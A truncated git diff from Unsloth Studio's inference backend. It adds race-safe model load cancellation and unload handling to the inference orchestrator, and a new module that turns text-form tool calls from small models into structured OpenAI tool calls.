+        Returns True if the dispatcher was stopped (all mailboxes drained, or no
+        dispatcher was running), and False if it was left running because compare
+        requests were still active after _DISPATCH_IDLE_TIMEOUT.
+
+        Called before the _gen_lock path so the dispatcher thread isn't competing
+        for resp_queue reads.
         """
         if self._dispatcher_thread is None or not self._dispatcher_thread.is_alive():
-            return
+            return True
 
         # Wait for all mailboxes to be emptied (dispatched requests complete)
         deadline = time.monotonic() + _DISPATCH_IDLE_TIMEOUT
@@ -699,8 +811,9 @@ class InferenceOrchestrator:
                 "leaving dispatcher running for compare requests",
                 len(self._mailboxes),
             )
-        else:
-            self._stop_dispatcher()
+            return False
+        self._stop_dispatcher()
+        return True
 
     # ------------------------------------------------------------------
     # Public API — same interface as InferenceBackend
@@ -767,6 +880,19 @@ class InferenceOrchestrator:
             )
 
             for attempt in range(2):
+                # Stop-loading (/unload -> cancel_load) aborts a load by discarding this
+                # model's loading marker. cancel_load only kills a live child; if the cancel
+                # lands before any child exists (GPU placement, or between retries) there is
+                # nothing to kill, and without this check the loop would spawn a worker and
+                # load the model after /unload reported it unloaded. Observe removal and stop.
+                if model_name not in self.loading_models:
+                    logger.info(
+                        "Load for '%s' was cancelled before spawn; not starting a worker",
+                        model_name,
+                    )
+                    self.active_model_name = None
+                    self.models.clear()
+                    return False
                 logger.info(
                     "Spawning fresh inference subprocess for '%s' "
                     "(transformers %s.x, attempt %d/2%s)",
@@ -778,6 +904,22 @@ class InferenceOrchestrator:
                 sub_config["disable_xet"] = disable_xet
                 self._spawn_subprocess(sub_config)
 
+                # A cancel can land after the pre-spawn recheck but while _spawn_subprocess
+                # is still creating the queues/process. cancel_load runs off the lifecycle
+                # gate, so its _shutdown_subprocess can see _proc still None and no-op,
+                # orphaning this fresh worker; the load would then wait for "loaded" and
+                # publish a model /unload reported unloaded, over a live subprocess nothing
+                # reaps. Recheck now the child exists and tear it down before publishing.
+                if model_name not in self.loading_models:
+                    logger.info(
+                        "Load for '%s' was cancelled during spawn; tearing the worker down",
+                        model_name,
+                    )
+                    self._shutdown_subprocess(timeout = 5)
+                    self.active_model_name = None
+                    self.models.clear()
+                    return False
+
                 try:
                     resp = self._wait_response("loaded")
                 except DownloadStallError:
@@ -798,8 +940,31 @@ class InferenceOrchestrator:
                     )
 
                 if resp.get("success"):
+                    # A cancel can land while we were parked in _wait_response above.
+                    # cancel_load (off the lifecycle gate) discards this model's loading
+                    # marker BEFORE its teardown, so a Stop-loading that fired after the
+                    # worker queued "loaded" (which we can still consume during cancel_load's
+                    # shutdown window) shows up here only as the marker's removal. Without
+                    # this recheck we would publish active_model_name/models for a model
+                    # /unload reported cancelled, over a subprocess cancel_load just killed;
+                    # its post-teardown re-clear cannot undo a publish that lands after it
+                    # returns. Observe the removal and abort; cancel_load owns teardown.
+                    if model_name not in self.loading_models:
+                        logger.info(
+                            "Load for '%s' was cancelled while waiting for 'loaded'; "
+                            "not publishing the cancelled model",
+                            model_name,
+                        )
+                        self.active_model_name = None
+                        self.models.clear()
+                        return False
                     model_info = resp.get("model_info", {})
                     self.active_model_name = model_info.get("identifier", model_name)
+                    # A load always spawns a fresh subprocess holding only this model, so
+                    # mirror that. A lingering stale name would pass unload_model's "not in
+                    # self.models" guard, and the worker's absent-name fallback would unload
+                    # its *active* model, not the already-gone one.
+                    self.models = {}
                     self.models[self.active_model_name] = {
                         "is_vision": model_info.get("is_vision", False),
                         "is_lora": model_info.get("is_lora", False),
@@ -832,17 +997,65 @@ class InferenceOrchestrator:
             self.models.clear()
             raise
 
-    def unload_model(self, model_name: str) -> bool:
-        """Unload a model from the subprocess."""
-        if model_name in self.loading_models:
-            logger.info(
-                "Cancelling in-flight load for model '%s' by terminating subprocess",
+    def cancel_load(self, model_name: str) -> bool:
+        """Abort an in-flight load by terminating its subprocess.
+
+        Returns True if a load for ``model_name`` (matched case-insensitively) was
+        cancelled, False if nothing was loading under that name. This only tears the
+        loading subprocess down -- it sends no command to a worker -- so, unlike the
+        rest of ``unload_model``, it is safe to run WITHOUT the inference lifecycle
+        gate. ``/unload`` calls it off-gate so the "stop loading" button can interrupt
+        a safetensors load that holds the gate for its whole (multi-minute) duration;
+        a gated cancel could never preempt that load.
+        """
+        target = model_name
+        if target not in self.loading_models:
+            target = next(
+                (m for m in self.loading_models if m.lower() == model_name.lower()),
                 model_name,
             )
-            self._shutdown_subprocess(timeout = 0.5)
-            self.loading_models.discard(model_name)
-            self.active_model_name = None
-            self.models.clear()
+        if target not in self.loading_models:
+            return False
+        logger.info(
+            "Cancelling in-flight load for model '%s' by terminating subprocess",
+            target,
+        )
+        # Discard the loading marker (and clear local state) BEFORE the teardown, not
+        # after. cancel_load runs off the lifecycle gate, alongside a load_model that
+        # rechecks this marker before each spawn. But _shutdown_subprocess can block (~1s
+        # tearing a live child down and joining the dispatcher), so clearing only after
+        # leaves a window where load_model reads the marker still set, passes its pre-spawn
+        # recheck, and loads the model after /unload reported it cancelled. Clear first.
+        self.loading_models.discard(target)
+        self.active_model_name = None
+        self.models.clear()
+        self._shutdown_subprocess(timeout = 0.5)
+        # Clear the local mirrors again AFTER the teardown. A racing off-gate load_model
+        # may still be parked in _wait_response("loaded"): its worker already queued a
+        # "loaded" reply, so during the shutdown window above (the 0.5s settle before the
+        # response queue is drained and nulled) that thread can consume it and repopulate
+        # active_model_name/models, undoing the pre-teardown clear. _shutdown_subprocess
+        # nulls the queue but not the mirrors, so without this second clear /unload reports
+        # success while the backend still advertises a killed model. The nulled queue lets
+        # no further "loaded" through, so re-clearing here wipes any repopulation.
+        self.active_model_name = None
+        self.models.clear()
+        return True
+
+    def unload_model(self, model_name: str) -> bool:
+        """Unload a model from the subprocess."""
+        # active_model_name can differ in case from the client's raw /unload name (the
+        # load path canonicalizes casing). Match case-insensitively and use the canonical
+        # spelling so the guard, unload command, and cleanup below hit the loaded model.
+        if (
+            self.active_model_name is not None
+            and model_name != self.active_model_name
+            and model_name.lower() == self.active_model_name.lower()
+        ):
+            model_name = self.active_model_name
+        # In-flight load: tear its subprocess down (shared loading-cancel logic; no
+        # worker command sent).
+        if self.cancel_load(model_name):
             return True
 
         if not self._ensure_subprocess_alive():
@@ -852,30 +1065,93 @@ class InferenceOrchestrator:
                 self.active_model_name = None
             return True
 
-        try:
-            self._send_cmd(
-                {
-                    "type": "unload",
-                    "model_name": model_name,
-                }
-            )
-            resp = self._wait_response("unloaded")
-
-            # Update local state
+        # Nothing loaded under this name: don't unload a stale model. The worker falls
+        # back to unloading its *active* model when the name is absent, so a stale unload
+        # (lost a race to a concurrent load) would hit the wrong one.
+        if model_name != self.active_model_name and model_name not in self.models:
             self.models.pop(model_name, None)
-            if self.active_model_name == model_name:
-                self.active_model_name = None
-
-            logger.info("Model '%s' unloaded from subprocess", model_name)
             return True
 
-        except Exception as exc:
-            logger.error("Error unloading model '%s': %s", model_name, exc)
-            # Clear local state anyway
-            self.models.pop(model_name, None)
-            if self.active_model_name == model_name:
-                self.active_model_name = None
-            return False
+        # The subprocess runs commands sequentially, so a bare unload queues behind a
+        # running generate (a 2-3 min hang). Cancel first (via the mp.Event the worker
+        # polls each token), then take _gen_lock as sole resp_queue reader (like GGUF).
+        #
+        # Set _unload_pending under _dispatcher_lifecycle_lock so it is ordered ahead of
+        # the dispatcher stop that _wait_dispatcher_idle runs under the same lock: a
+        # compare request's _start_dispatcher queued behind that stop then observes the
+        # unload and refuses to spawn a fresh dispatcher that would eat the "unloaded"
+        # reply off resp_queue. This is a standalone acquisition (no _gen_lock held yet),
+        # so it keeps the _gen_lock -> _dispatcher_lifecycle_lock order and can't deadlock.
+        with self._dispatcher_lifecycle_lock:
+            self._unload_pending = True
+        # Cancelling only the running generation isn't enough: the worker clears
+        # cancel_event at each generate start, so a queued one would clear it and run the
+        # outgoing model to completion. drain_event, never cleared, makes any generate
+        # dequeued during the unload skip.
+        if self._drain_event is not None:
+            self._drain_event.set()
+        try:
+            self._cancel_generation()
+            acquired = self._gen_lock.acquire(timeout = _UNLOAD_GEN_LOCK_TIMEOUT)
+            if not acquired:
+                # Wedged worker: tear the subprocess down to free the GPU (next load respawns).
+                logger.warning(
+                    "Unload: generation did not yield %.1fs after cancel; "
+                    "shutting the inference subprocess down to free the model",
+                    _UNLOAD_GEN_LOCK_TIMEOUT,
+                )
+                self._shutdown_subprocess(timeout = 5)
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+                return True
+
+            try:
+                # Stop the compare-mode dispatcher so it can't consume the "unloaded" reply
+                # off resp_queue before we do. A dispatched generation bypasses _gen_lock, so
+                # a wedged one slips past the acquire above; if the dispatcher is still active
+                # it owns resp_queue and the queued unload hangs _wait_response behind the
+                # stuck generate. Mirror the wedged locked path: tear the subprocess down.
+                if not self._wait_dispatcher_idle():
+                    logger.warning(
+                        "Unload: compare-mode dispatcher still active after idle "
+                        "wait; shutting the inference subprocess down to free the model"
+                    )
+                    self._shutdown_subprocess(timeout = 5)
+                    self.models.pop(model_name, None)
+                    if self.active_model_name == model_name:
+                        self.active_model_name = None
+                    return True
+                # Drop stale tokens so they can't be read as the unload reply.
+                self._drain_queue()
+                self._send_cmd(
+                    {
+                        "type": "unload",
+                        "model_name": model_name,
+                    }
+                )
+                self._wait_response("unloaded")
+
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+
+                logger.info("Model '%s' unloaded from subprocess", model_name)
+                return True
+
+            except Exception as exc:
+                logger.error("Error unloading model '%s': %s", model_name, exc)
+                # Clear local state anyway
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+                return False
+            finally:
+                self._gen_lock.release()
+        finally:
+            self._unload_pending = False
+            if self._drain_event is not None:
+                self._drain_event.clear()
 
     def generate_chat_response(
         self,
@@ -894,6 +1170,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate response, streaming tokens from subprocess.
 
@@ -903,6 +1180,8 @@ class InferenceOrchestrator:
 
         ``stats_holder``: caller-owned dict; on gen_done its "stats" key gets
         the worker's usage/timings. Request-scoped to avoid cross-stream reads.
+
+        ``presence_penalty`` matches the GGUF sampling path (0 disables it).
         """
         yield from self._generate_inner(
             messages = messages,
@@ -921,6 +1200,7 @@ class InferenceOrchestrator:
             reasoning_effort = reasoning_effort,
             preserve_thinking = preserve_thinking,
             stats_holder = stats_holder,
+            presence_penalty = presence_penalty,
         )
 
     def generate_chat_completion_with_tools(
@@ -940,6 +1220,7 @@ class InferenceOrchestrator:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
@@ -947,6 +1228,7 @@ class InferenceOrchestrator:
         bypass_permissions: bool = False,
         use_adapter: Optional[Union[bool, str]] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
         **_unused,
     ):
         """Run the safetensors agentic tool loop in the parent process,
@@ -982,6 +1264,7 @@ class InferenceOrchestrator:
                 preserve_thinking = preserve_thinking,
                 # last turn wins, like the GGUF tool loop
                 stats_holder = stats_holder,
+                presence_penalty = presence_penalty,
             )
             if use_adapter is not None:
                 yield from self.generate_with_adapter_control(
@@ -1002,6 +1285,7 @@ class InferenceOrchestrator:
             execute_tool = execute_tool,
             cancel_event = cancel_event,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            nudge_tool_calls = nudge_tool_calls,
             max_tool_iterations = max_tool_iterations,
             tool_call_timeout = tool_call_timeout,
             session_id = session_id,
@@ -1048,6 +1332,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Inner generation logic — sends command to subprocess, yields tokens.
 
@@ -1061,6 +1346,7 @@ class InferenceOrchestrator:
         if not self.active_model_name:
             yield "Error: No active model"
             return
+        expected_model = self.active_model_name
 
         # Drain any prior compare-mode dispatcher so we can read resp_queue.
         self._wait_dispatcher_idle()
@@ -1069,6 +1355,14 @@ class InferenceOrchestrator:
         # consume and drop each other's token events. Hold _gen_lock across the
         # cmd build + send + whole stream so we stay the sole resp_queue reader.
         with self._gen_lock:
+            # Recheck under the lock: an unload we raced may have cleared/swapped the model.
+            # _unload_pending resets after the lock releases, so it can read False by now;
+            # the active-model check catches that handoff and a reload that swapped models,
+            # so we never generate on the wrong one.
+            if self._unload_pending or self.active_model_name != expected_model:
+                # Won the lock handoff during a switch; don't start on the outgoing model.
+                yield "Error: model is being unloaded"
+                return
             request_id = str(uuid.uuid4())
             image_b64 = self._pil_to_base64(image) if image is not None else None
             cmd = self._build_generate_cmd(
@@ -1082,6 +1376,7 @@ class InferenceOrchestrator:
                 min_p = min_p,
                 max_new_tokens = max_new_tokens,
                 repetition_penalty = repetition_penalty,
+                presence_penalty = presence_penalty,
                 use_adapter = use_adapter,
                 tools = tools,
                 enable_thinking = enable_thinking,
@@ -1136,53 +1431,62 @@ class InferenceOrchestrator:
             raise RuntimeError("Inference subprocess is not running")
         if not self.active_model_name:
             raise RuntimeError("No active model")
+        expected_model = self.active_model_name
 
-        request_id = str(uuid.uuid4())
+        # Serialize under _gen_lock (sole resp_queue reader) and refuse to start on the
+        # outgoing model once an unload is pending, like the text and audio-input paths.
+        # Without this a concurrent /audio/generate could run TTS on a model being switched.
+        with self._gen_lock:
+            # Recheck under the lock (see _generate_inner): a raced unload/switch may have
+            # cleared or swapped the model while we waited.
+            if self._unload_pending or self.active_model_name != expected_model:
+                raise RuntimeError("model is being unloaded")
 
-        cmd = {
-            "type": "generate_audio",
-            "request_id": request_id,
-            "text": text,
-            "temperature": temperature,
-            "top_p": top_p,
-            "top_k": top_k,
-            "min_p": min_p,
-            "max_new_tokens": max_new_tokens,
-            "repetition_penalty": repetition_penalty,
-        }
-        if use_adapter is not None:
-            cmd["use_adapter"] = use_adapter
+            request_id = str(uuid.uuid4())
 
-        self._send_cmd(cmd)
+            cmd = {
+                "type": "generate_audio",
+                "request_id": request_id,
+                "text": text,
+                "temperature": temperature,
+                "top_p": top_p,
+                "top_k": top_k,
+                "min_p": min_p,
+                "max_new_tokens": max_new_tokens,
+                "repetition_penalty": repetition_penalty,
+            }
+            if use_adapter is not None:
+                cmd["use_adapter"] = use_adapter
 
-        # Wait for audio_done or audio_error
-        deadline = time.monotonic() + 120.0
-        while time.monotonic() < deadline:
-            remaining = max(0.1, deadline - time.monotonic())
-            resp = self._read_resp(timeout = min(remaining, 1.0))
+            self._send_cmd(cmd)
 
-            if resp is None:
-                if not self._ensure_subprocess_alive():
-                    raise RuntimeError(self._subprocess_crash_message("audio generation"))
-                continue
+            deadline = time.monotonic() + 120.0
+            while time.monotonic() < deadline:
+                remaining = max(0.1, deadline - time.monotonic())
+                resp = self._read_resp(timeout = min(remaining, 1.0))
 
-            rtype = resp.get("type", "")
+                if resp is None:
+                    if not self._ensure_subprocess_alive():
+                        raise RuntimeError(self._subprocess_crash_message("audio generation"))
+                    continue
 
-            if rtype == "audio_done":
-                wav_bytes = base64.b64decode(resp["wav_base64"])
-                sample_rate = resp["sample_rate"]
-                return wav_bytes, sample_rate
+                rtype = resp.get("type", "")
 
-            if rtype == "audio_error":
-                raise RuntimeError(resp.get("error", "Audio generation failed"))
+                if rtype == "audio_done":
+                    wav_bytes = base64.b64decode(resp["wav_base64"])
+                    sample_rate = resp["sample_rate"]
+                    return wav_bytes, sample_rate
 
-            if rtype == "error":
-                raise RuntimeError(resp.get("error", "Unknown error"))
+                if rtype == "audio_error":
+                    raise RuntimeError(resp.get("error", "Audio generation failed"))
 
-            if rtype == "status":
-                continue
+                if rtype == "error":
+                    raise RuntimeError(resp.get("error", "Unknown error"))
 
-        raise RuntimeError("Timeout waiting for audio generation (120s)")
+                if rtype == "status":
+                    continue
+
+            raise RuntimeError("Timeout waiting for audio generation (120s)")
 
     def generate_whisper_response(
         self,
@@ -1247,8 +1551,15 @@ class InferenceOrchestrator:
         if not self.active_model_name:
             yield "Error: No active model"
             return
+        expected_model = self.active_model_name
 
         with self._gen_lock:
+            # Recheck under the lock (see _generate_inner): a raced unload/switch may have
+            # cleared or swapped the model while we waited.
+            if self._unload_pending or self.active_model_name != expected_model:
+                # Won the lock handoff during a switch; don't start on the outgoing model.
+                yield "Error: model is being unloaded"
+                return
             request_id = str(uuid.uuid4())
 
             # numpy array -> list for mp.Queue serialization
diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py
new file mode 100644
index 0000000000..a444431f8d
--- /dev/null
+++ b/studio/backend/core/inference/passthrough_healing.py
@@ -0,0 +1,557 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tool-call healing for the client-tool passthrough.
+
+With server-side tools disabled (``unsloth run --disable-tools``, every
+``unsloth start`` coding agent), requests carrying the client's own ``tools``
+bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small
+GGUF models often emit their tool calls as TEXT (``<tool_call>{...}</tool_call>``,
+Gemma ``<|tool_call>...``, ``<function=...>`` XML) instead of structured
+``tool_calls`` -- on the passthrough that text reaches the agent as prose and
+the turn dies. This module promotes such text back into structured calls on the
+RESPONSE side only: the upstream request body is never touched, no extra
+generation is issued, so llama-server slot/KV-cache reuse is byte-identical.
+
+Healing only ever fires when the request declared client tools, and only
+promotes calls whose function name exactly matches a declared tool. Promotion
+removes EXACTLY the promoted calls' markup spans (the parser reports them):
+undeclared calls, unparseable blocks, and suppressed alternate formats keep
+every byte and relay as text, so healing can never silently delete model
+output. Responses without a tool signal, requests without tools, and Studio's
+own enable-tools loop are untouched. Per-request opt-out:
+``auto_heal_tool_calls: false``. Process kill-switch:
+``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``.
+"""
+
+import json
+import os
+from collections.abc import Mapping
+from typing import Any, Optional
+
+from core.inference.tool_loop_controller import coerce_tool_arguments
+from core.tool_healing import parse_tool_calls_from_text
+
+# Only the formats this healer's parser can promote -- narrower than the loops'
+# broader TOOL_XML_SIGNALS. A loop-only marker (Llama <|python_tag|>, bare
+# [ARGS]) would buffer a streamed call as prose without promoting it, so keep a
+# healer-aligned list. Mistral's [TOOL_CALLS] IS promotable, so it stays in.
+_HEAL_SIGNALS = (
+    "<tool_call>",
+    "<|tool_call>",
+    "<function=",
+    "[TOOL_CALLS]",
+)
+
+
+def _has_heal_signal(text: str) -> bool:
+    return any(s in text for s in _HEAL_SIGNALS)
+
+
+# Read once at import (same convention as the other UNSLOTH_* switches).
+_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1"
+# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process
+# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator).
+_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1"
+
+
+def nudge_enabled(request_flag: Optional[bool]) -> bool:
+    return _NUDGE_DEFAULT if request_flag is None else bool(request_flag)
+
+
+_MAX_SIGNAL_LEN = max(len(s) for s in _HEAL_SIGNALS)
+# A suspected-but-unclosed tool block larger than this is declared a false
+# alarm and flushed, bounding memory on a model rambling XML-lookalike text.
+_MAX_HOLD_CHARS = 64 * 1024
+
+
+def heal_gate(
+    auto_heal: Optional[bool],
+    tools: Optional[list],
+    tool_choice: Any = None,
+) -> Optional[set]:
+    """Return the declared client-tool name set when healing applies, else None.
+
+    ``tools`` is the OpenAI-shaped list forwarded to llama-server
+    (``[{"type": "function", "function": {"name": ...}}, ...]``). The name set
+    doubles as the promotion allowlist so healed calls can never invent a tool
+    the client did not declare.
+
+    ``tool_choice`` (OpenAI shape) constrains the allowlist so healing never
+    contradicts the request: ``"none"`` forbids tool calls outright (text-form
+    markup stays text), and a forced ``{"type": "function", "function":
+    {"name": N}}`` narrows promotion to that one function. ``"auto"`` /
+    ``"required"`` / absent keep the full declared set.
+    """
+    if _HEALING_DISABLED or auto_heal is False:
+        return None
+    if tool_choice == "none":
+        return None
+    names = set()
+    for tool in tools or []:
+        if not isinstance(tool, dict):
+            continue
+        function = tool.get("function")
+        if isinstance(function, dict) and isinstance(function.get("name"), str):
+            names.add(function["name"])
+    if isinstance(tool_choice, dict):
+        function = tool_choice.get("function")
+        forced = function.get("name") if isinstance(function, dict) else None
+        if isinstance(forced, str):
+            names &= {forced}
+    return names or None
+
+
+def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]:
+    schemas: dict[str, Any] = {}
+    for tool in tools or []:
+        if not isinstance(tool, dict):
+            continue
+        function = tool.get("function")
+        if not isinstance(function, dict):
+            continue
+        name = function.get("name")
+        if isinstance(name, str):
+            schemas[name] = function.get("parameters")
+    return schemas
+
+
+def _string_arg_key_from_schema(schema: Any) -> Optional[str]:
+    if not isinstance(schema, dict):
+        return None
+    properties = schema.get("properties")
+    required = schema.get("required")
+    if not isinstance(properties, dict) or not isinstance(required, list):
+        return None
+    required_names = [name for name in required if isinstance(name, str)]
+    if len(required_names) != 1:
+        return None
+    key = required_names[0]
+
+    if key not in properties:
+        return None
+    prop_schema = properties.get(key)
+    if isinstance(prop_schema, dict):
+        prop_type = prop_schema.get("type")
+        if isinstance(prop_type, list):
+            if "string" not in prop_type:
+                return None
+        elif prop_type is not None and prop_type != "string":
+            return None
+    return key
+
+
+def _coerce_promoted_arguments(
+    raw_args: Any, tool_name: str, tool_schemas: Optional[dict]
+) -> Optional[dict]:
+    if isinstance(raw_args, Mapping):
+        return dict(raw_args)
+    if isinstance(raw_args, str):
+        try:
+            parsed = json.loads(raw_args)
+            if isinstance(parsed, Mapping):
+                return dict(parsed)
+        except (json.JSONDecodeError, ValueError):
+            pass
+        if tool_schemas is not None:
+            key = _string_arg_key_from_schema(tool_schemas.get(tool_name))
+            return {key: raw_args} if key else None
+    coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name)
+    return coerced.arguments
+
+
+def _promote(
+    calls: list,
+    allowed_tools: set,
+    id_offset: int = 0,
+    tool_schemas: Optional[dict] = None,
+) -> list:
+    """Filter parsed calls to declared tools and normalize their arguments.
+
+    Bare string arguments on the client-tool passthrough use the declared
+    schema's single required string property. If the schema is ambiguous, the
+    call stays text instead of inventing a generic key.
+    """
+    promoted = []
+    for call in calls:
+        function = call.get("function") if isinstance(call, dict) else None
+        name = function.get("name") if isinstance(function, dict) else None
+        if name not in allowed_tools:
+            continue
+        arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas)
+        if arguments is None:
+            continue
+        promoted.append(
+            {
+                "id": f"call_{id_offset + len(promoted)}",
+                "type": "function",
+                "function": {
+                    "name": name,
+                    "arguments": json.dumps(arguments, ensure_ascii = False),
+                },
+            }
+        )
+    return promoted
+
+
+def _remove_spans(text: str, spans: list) -> str:
+    """Text with the given non-overlapping, sorted (start, end) ranges removed."""
+    pieces = []
+    pos = 0
+    for start, end in spans:
+        pieces.append(text[pos:start])
+        pos = end
+    pieces.append(text[pos:])
+    return "".join(pieces)
+
+
+def heal_openai_message_events(
+    msg: dict,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> Optional[list]:
+    if not isinstance(msg, dict) or msg.get("tool_calls"):
+        return None
+    content = msg.get("content")
+    if not isinstance(content, str) or not _has_heal_signal(content):
+        return None
+    parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True)
+    tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+    events: list = []
+    pos = 0
+    call_count = 0
+    for call, (start, end) in zip(parsed, spans):
+        promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas)
+        if promoted:
+            if content[pos:start]:
+                events.append(("text", content[pos:start]))
+            events.append(("tool_call", promoted[0]))
+            call_count += 1
+        else:
+            events.append(("text", content[pos:end]))
+        pos = end
+    if not call_count:
+        return None
+    if content[pos:]:
+        events.append(("text", content[pos:]))
+    return events
+
+
+def heal_openai_message(
+    msg: dict,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """Promote text-form tool calls in a non-streaming OpenAI message. In place.
+
+    No-op (returns False) unless the message has NO structured ``tool_calls``
+    (grammar mode already worked when it does) and its content carries a tool
+    signal that parses into at least one declared call. Only the promoted
+    calls' markup spans are removed from the content; undeclared calls and
+    anything the parser did not consume stay in the text byte-intact.
+    """
+    events = heal_openai_message_events(msg, allowed_tools, tools)
+    if not events:
+        return False
+    calls = [value for kind, value in events if kind == "tool_call"]
+    content = "".join(value for kind, value in events if kind == "text").strip()
+    msg["tool_calls"] = calls
+    # OpenAI requires content = null on a pure tool-call turn.
+    msg["content"] = content or None
+    return True
+
+
+def _earliest_signal(buffer: str) -> int:
+    best = -1
+    for signal in _HEAL_SIGNALS:
+        index = buffer.find(signal)
+        if index >= 0 and (best < 0 or index < best):
+            best = index
+    return best
+
+
+def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]:
+    spans = []
+    for open_tag, close_tag in (
+        ("<tool_call>", "</tool_call>"),
+        ("<|tool_call>", "<tool_call|>"),
+        ("<function=", "</function>"),
+    ):
+        start = buffer.find(open_tag)
+        if start < 0:
+            continue
+        end = buffer.find(close_tag, start)
+        if end >= 0:
+            spans.append((start, end + len(close_tag)))
+    return min(spans, key = lambda span: span[0]) if spans else None
+
+
+def _partial_signal_suffix(buffer: str) -> int:
+    """Length of the longest buffer suffix that is a proper prefix of a signal."""
+    for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1):
+        tail = buffer[-length:]
+        if any(signal.startswith(tail) for signal in _HEAL_SIGNALS):
+            return length
+    return 0
+
+
+class StreamToolCallHealer:
+    """Buffer-and-repair state machine for streamed passthrough content.
+
+    ``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content
+    to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call
+    (string ``function.arguments``). Normal prose is forwarded immediately; only
+    a trailing partial-signal window (< max signal length) or a suspected tool
+    block is ever withheld, so streaming latency stays bounded. A false alarm
+    (the buffer can no longer become a parseable declared call) flushes the held
+    text verbatim.
+    """
+
+    def __init__(
+        self,
+        allowed_tools: set,
+        tools: Optional[list] = None,
+    ) -> None:
+        self._allowed = set(allowed_tools)
+
+        self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+        self._buffer = ""
+        self._holding = False
+        self._id_offset = 0
+        # Structured delta.tool_calls seen upstream: grammar mode already
+        # worked, so healing goes dormant and text relays verbatim.
+        self.dormant = False
+
+    @property
+    def healed(self) -> bool:
+        return self._id_offset > 0
+
+    def structured_tool_call_seen(self) -> list:
+        """Go dormant; flush anything held so no text is swallowed."""
+        self.dormant = True
+        held, self._buffer, self._holding = self._buffer, "", False
+        return [("text", held)] if held else []
+
+    def feed(self, text: str) -> list:
+        if self.dormant:
+            return [("text", text)] if text else []
+        self._buffer += text
+        return self._drain()
+
+    def _drain(self) -> list:
+        events: list = []
+        while True:
+            if not self._holding:
+                start = _earliest_signal(self._buffer)
+                if start >= 0:
+                    if start:
+                        events.append(("text", self._buffer[:start]))
+                    self._buffer = self._buffer[start:]
+                    self._holding = True
+                else:
+                    keep = _partial_signal_suffix(self._buffer)
+                    emit = self._buffer[: len(self._buffer) - keep]
+                    if emit:
+                        events.append(("text", emit))
+                    self._buffer = self._buffer[len(self._buffer) - keep :]
+                    return events
+            # HOLD: drain the first contiguous run per pass so events keep document
+            # order (a later declared call must not overtake an earlier undeclared one
+            # flushing as text). A run is one markup call OR a whole Mistral [TOOL_CALLS]
+            # array of contiguous spans, so later calls in it are not stranded as text.
+            parsed, spans = parse_tool_calls_from_text(
+                self._buffer,
+                id_offset = self._id_offset,
+                allow_incomplete = False,
+                with_spans = True,
+            )
+            if not parsed:
+                closed_span = _closed_signal_span(self._buffer)
+                if closed_span:
+                    _start, end = closed_span
+                    events.append(("text", self._buffer[:end]))
+                    self._buffer = self._buffer[end:]
+                    self._holding = False
+                    continue
+                if len(self._buffer) > _MAX_HOLD_CHARS:
+                    events.append(("text", self._buffer))
+                    self._buffer = ""
+                    self._holding = False
+                    continue
+                return events
+            pos = 0
+            run_end = spans[0][1]
+            for order, (call, (start, end)) in enumerate(zip(parsed, spans)):
+                # Stop at the first gap or incomplete trailing block: leave it for the
+                # next pass to re-hold and stream incrementally, not flush as text early.
+                if order and start != run_end:
+                    break
+                promoted = _promote(
+                    [call],
+                    self._allowed,
+                    id_offset = self._id_offset,
+                    tool_schemas = self._tool_schemas,
+                )
+                if promoted:
+                    # Flush any leading text, then drop the promoted markup span.
+                    if self._buffer[pos:start]:
+                        events.append(("text", self._buffer[pos:start]))
+                    events.append(("tool_call", promoted[0]))
+                    self._id_offset += 1
+                else:
+                    # Undeclared/unusable name: markup is DATA, flush it (and prior text) verbatim.
+                    events.append(("text", self._buffer[pos:end]))
+                pos = end
+                run_end = end
+            # Everything past the drained run (later blocks) stays and is rescanned.
+            self._buffer = self._buffer[run_end:]
+            self._holding = False
+
+    def finalize(self) -> list:
+        """End of stream: last-chance heal of the residue, else flush it.
+
+        Events keep document order; only the promoted calls' markup spans are
+        dropped, every other residue byte flushes as text.
+        """
+        if not self._buffer:
+            return []
+        residue, self._buffer = self._buffer, ""
+        holding, self._holding = self._holding, False
+        if self.dormant or not holding:
+            return [("text", residue)]
+        parsed, spans = parse_tool_calls_from_text(
+            residue,
